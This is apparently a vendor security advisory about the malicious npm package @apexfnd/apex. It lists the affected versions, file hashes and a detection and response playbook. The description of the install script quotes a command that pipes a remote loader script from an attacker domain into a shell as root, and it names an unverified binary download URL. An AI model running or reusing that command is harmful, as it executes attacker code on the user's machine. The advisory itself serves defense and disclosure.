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Malicious package

@apexfnd/apexnpm

@apexfnd/apex is a confirmed malicious npm package (MAL-2026-11121) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @apexfnd/apex (npm)

MAL-2026-11121
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @apexfnd/apex

What this malware does

The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.

Malicious versions

2 flagged
1.0.01.0.1

Indicators of compromise (SHA-256)

8716e3bd410648407039879f991abe8adbde650ab008bac4e41165e7b52c79b1
a36d1bb6b7f3f846668a106c514c55789cd9b94500ad04d579dc5fa2621c438c

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @apexfnd/apex (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @apexfnd/apex across your stack and pipelines.

  2. If you installed it — respond

    Remove @apexfnd/apex from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If @apexfnd/apex was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks @apexfnd/apex before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @apexfnd/apex on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010912IN-MAL-2026-010914

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @apexfnd/apex-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

@apexfnd/apex (npm) malicious package — MAL-2026-11121 | O3 Security